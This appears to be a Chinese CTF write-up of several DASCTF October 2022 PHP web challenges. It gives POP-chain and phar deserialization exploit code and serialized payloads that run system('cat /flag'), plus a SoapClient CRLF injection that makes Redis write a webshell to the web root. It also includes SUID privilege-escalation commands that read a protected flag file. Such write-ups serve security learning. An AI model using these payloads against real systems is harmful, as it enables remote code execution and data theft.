• DASCTF X GFCTF 2022十月挑战赛


    EasyPOP

    源码:

    
    highlight_file(__FILE__);
    error_reporting(0);
    
    class fine
    {
        private $cmd;
        private $content;
    
        public function __construct($cmd, $content)
        {
            $this->cmd = $cmd;
            $this->content = $content;
        }
    
        public function __invoke()
        {
            call_user_func($this->cmd, $this->content);
        }
    
        public function __wakeup()
        {
            $this->cmd = "";
            die("Go listen to Jay Chou's secret-code! Really nice");
        }
    }
    
    class show
    {
        public $ctf;
        public $time = "Two and a half years";
    
        public function __construct($ctf)
        {
            $this->ctf = $ctf;
        }
    
    
        public function __toString()
        {
            return $this->ctf->show();
        }
    
        public function show(): string
        {
            return $this->ctf . ": Duration of practice: " . $this->time;
        }
    
    
    }
    
    class sorry
    {
        private $name;
        private $password;
        public $hint = "hint is depend on you";
        public $key;
    
        public function __construct($name, $password)
        {
            $this->name = $name;
            $this->password = $password;
        }
    
        public function __sleep()
        {
            $this->hint = new secret_code();
        }
    
        public function __get($name)
        {
            $name = $this->key;
            $name();
        }
    
    
        public function __destruct()
        {
            if ($this->password == $this->name) {
    
                echo $this->hint;
            } else if ($this->name = "jay") {
                secret_code::secret();
            } else {
                echo "This is our code";
            }
        }
    
    
        public function getPassword()
        {
            return $this->password;
        }
    
        public function setPassword($password): void
        {
            $this->password = $password;
        }
    
    
    }
    
    class secret_code
    {
        protected $code;
    
        public static function secret()
        {
            include_once "hint.php";
            hint();
        }
    
        public function __call($name, $arguments)
        {
            $num = $name;
            $this->$num();
        }
    
        private function show()
        {
            return $this->code->secret;
        }
    }
    
    
    if (isset($_GET['pop'])) {
        $a = unserialize($_GET['pop']);
        $a->setPassword(md5(mt_rand()));
    } else {
        $a = new show("Ctfer");
        echo $a->show();
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133

    poc

    
    class fine
    {
        public $cmd;
        public $content;
    }
    class secret_code
    {
        public $code;
    }
    
    class show
    {
        public $ctf;
        public $time;
    }
    
    
    class sorry
    {
        public $name;
        public $password;
        public $hint;
        public $key;
    }
    
    $sorry = new sorry();
    $sorry2 = new sorry();
    $show = new show();
    $secret_code = new secret_code();
    $fine = new fine();
    $sorry->hint = $show;
    $show->ctf = $secret_code;
    $secret_code->code = $sorry2;
    $sorry2->key = $fine;
    $fine->cmd = 'system';
    $fine->content = 'cat /flag';
    echo serialize($sorry);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    payload:只需要绕过 fine 类的 __wakeup 就可以了。

    ?pop=O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}
    
    • 1

    hade_waibo

    源码获取:search 界面,filename 参数获取源码,这些大家都会,怎么获取 flag 才是难点。
    在这里插入图片描述

    在这里插入图片描述
    主要就是 class.php:

    
    class User
    {
        public $username;
        public function __construct($username){
            $this->username = $username;
            $_SESSION['isLogin'] = True;
            $_SESSION['username'] = $username;
        }
        public function __wakeup(){
            $cklen = strlen($_SESSION["username"]);
            if ($cklen != 0 and $cklen <= 6) {
                $this->username = $_SESSION["username"];
            }
        }
        public function __destruct(){
            if ($this->username == '') {
                session_destroy();
            }
        }
    }
    
    class File
    {
        #更新黑名单为白名单,更加的安全
        public $white = array("jpg","png");
    
        public function show($filename){
            echo '

    '; if(empty($filename)){die();} return '.base64_encode(file_get_contents($filename)).'" />'; } public function upload($type){ $filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type"; move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename); return "Upload success! Path: upload/" . $filename; } public function rmfile(){ system('rm -rf /var/www/html/upload/*'); } public function check($type){ if (!in_array($type,$this->white)){ return false; } return true; } } #更新了一个恶意又有趣的Test类 class Test { public $value; public function __destruct(){ chdir('./upload'); $this->backdoor(); } public function __wakeup(){ $this->value = "Don't make dream.Wake up plz!"; } public function __toString(){ $file = substr($_GET['file'],0,3); file_put_contents($file, "Hack by $file !"); return 'Unreachable! :)'; } public function backdoor(){ if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){ $this->value = 'nono~'; } system($this->value); } }

    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74

    非预期解

    test 类中的 backdoor 函数可以执行 system,但有过滤,过滤了字母数字和三个符号,并且 system 无法执行异或、取反、或,且反序列化后会先执行 __wakeup 再执行 backdoor,这边的 __wakeup 无法绕过,因为 php 的版本不符合,那么怎么使 value 值不发生改变呢?这边就涉及到一个小的知识点:我们只需要让 value 指向一个变量的地址,这样它的值就无法改变了。

    class Test
    {
        public $value;
    
        public function __destruct(){
            chdir('./upload');
            $this->backdoor();
        }
        public function __wakeup(){
            $this->value = "Don't make dream.Wake up plz!";
        }
        public function __toString(){
            $file = substr($_GET['file'],0,3);
            file_put_contents($file, "Hack by $file !");
            return 'Unreachable! :)';
        }
        public function backdoor(){
            if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
                $this->value = 'nono~';
            }
            system($this->value);
        }
    
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    在保证 value 不会被改变的情况下,怎么绕过 preg_match 执行 shell 呢?这边又有一个小知识点:在 linux 中,. ./* 会把当前目录下的所有文件当作 sh 文件执行。
    在这里插入图片描述
    且在这题中我们可以上传文件,那没我们可以上传一个 jpg 文件,内容为:

    #/bin/sh
    ls /
    
    • 1
    • 2

    问题又来了,怎么令 value. ./* 呢?我们接着看 User 类,在 __wakeup$this->username = $_SESSION["username"];,也就是 $this->username == 我们的登录名,那么我们是就可以在登录时,以 . ./* 为登录名,然后令 Test 类中的 value 指向 username,因为 username 是可控的。

    class User
    {
        public $username;
        public function __construct($username){
            $this->username = $username;
            $_SESSION['isLogin'] = True;
            $_SESSION['username'] = $username;
        }
        public function __wakeup(){
            $cklen = strlen($_SESSION["username"]);
            if ($cklen != 0 and $cklen <= 6) {
                $this->username = $_SESSION["username"];
            }
        }
        public function __destruct(){
            if ($this->username == '') {
                session_destroy();
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    poc:

    a = $Test;
    $Test->value = &$User->username;
    echo serialize($User);
    
    $phar = new Phar("ddd.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub(""); //设置stub
    $phar->setMetadata($User); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    在这里插入图片描述
    最后读取flag,base64 解码 file.php?m=show&filename=/ghjsdk_F149_H3re_asdasfc

    预期解

    预期解就是利用 * /* ,把文件名当作命令,例如我们的文件名是 cat 那么就是 cat /*,但这个有个局限性,就 cat 而言,如果它不是排在第一位,就无法执行,反之可以。
    在这里插入图片描述
    回到题目,那么我们先要上传一个 cat 名字的文件,那要怎么传呢?在 test 类中的 __toString 可以传文件,且文件名是可控的。
    在这里插入图片描述
    且在 User 类中的 __destruct 存在 $this->username == '' 弱比较,可以令 usernametest 类 ,这样就可以触发 __toString 了。
    在这里插入图片描述
    那么 User 类中的 __wakeup 该怎么绕过呢?可以令 username 为一个数组,这样 username 就可以改为 test 类了。
    在这里插入图片描述
    在这里插入图片描述
    第一条链子:

    username = $Test;
    echo serialize($User);
    
    $phar = new Phar("ddd.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub(""); //设置stub
    $phar->setMetadata($User); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    
     ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    此时 cat 已经写进去。
    在这里插入图片描述
    那么第二步就和非预期解一样了,只不过这次的 username == * /*

    a = $Test;
    $Test->value = &$User->username;
    echo serialize($User);
    
    $phar = new Phar("ddd.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub(""); //设置stub
    $phar->setMetadata($User); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25

    在这里插入图片描述

    EasyLove

    先读 hint.php

    • 1
    • 2
    • 3
    • 4
    • 5

    hint.php 源码:

    
    
    • 1
    • 2
    • 3

    有 redis 且有密码是 202203111,所以我们可以通过 CRLF 控制请求头,再结合 SoapClient 发起请求写入 shell。

    想了解 redis 未经授权访问的移步:https://blog.csdn.net/shinygod/article/details/127034013 第 360 题。

    SoapClient 原生类的使用这边就贴一下 Y4 师傅的解释。

    综述:
    
    php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。
    
    必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。
    
    通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
    ----------------------------------------
    原文链接:https://blog.csdn.net/solitudi/article/details/113588692
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10

    poc:

    wllm = 'SoapClient';
        	$this->l61q4cheng = array(
        		'user_agent'=>"\r\nAUTH 20220311\r\nCONFIG SET dir /var/www/html\r\nSET x ''\r\nCONFIG SET dbfilename cmd.php\r\nSAVE",
        		'uri'=>'bbb', 
        		'location'=>'http://127.0.0.1:6379'
        	);
    
        }
    
    }
    echo urlencode(serialize(new swpu()));
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19

    这边反序列化后可以等一会就可以蚁剑连了,网页在转圈的原因是没有收到返回的信息自然就会在那边一直转。

    flag 文件没有权限读取,这边学到了一个提权的小知识,suid 提权。
    在这里插入图片描述
    这边的 date 可执行文件中的 s 就是 suid 了。
    在这里插入图片描述
    提权payload:

    find / -perm -u=s -type f 2>/dev/null
    date -f /hereisflag/flllll111aaagg
    
    • 1
    • 2

    如果还有什么方法,希望大叫能够告之 ^ _ ^ ,最后这题感觉主从复制应该也行。

    BlogSystem

    有点难,以后集合再弄吧

    reference

    dasctf 微信公众号里的 wp 文档
    https://pysnow.cn/archives/566/
    https://blog.csdn.net/qq_64201116/article/details/127541200?spm=1001.2101.3001.6650.8&utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8-127541200-blog-127550670.pc_relevant_landingrelevant&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EOPENSEARCH%7Edefault-8-127541200-blog-127550670.pc_relevant_landingrelevant&utm_relevant_index=9
    
    • 1
    • 2
    • 3
  • 相关阅读:
    深入探索 Nuxt3 Composables:掌握目录架构与内置API的高效应用
    JS实现图片懒加载
    java毕业设计传统文化网站mybatis+源码+调试部署+系统+数据库+lw
    ES6中新增加的Proxy对象及其使用方式
    iai 定向 题解
    win11疑难解答怎么进
    甘特图中可以拆分任务,都来试试看
    CDR2024版本免费Windows10包含免费激活码序列号
    JavaWeb逐步深入提问(Java后端),你能回答第几个?
    Zotero——一款文献管理工具
  • 原文地址:https://blog.csdn.net/shinygod/article/details/127550670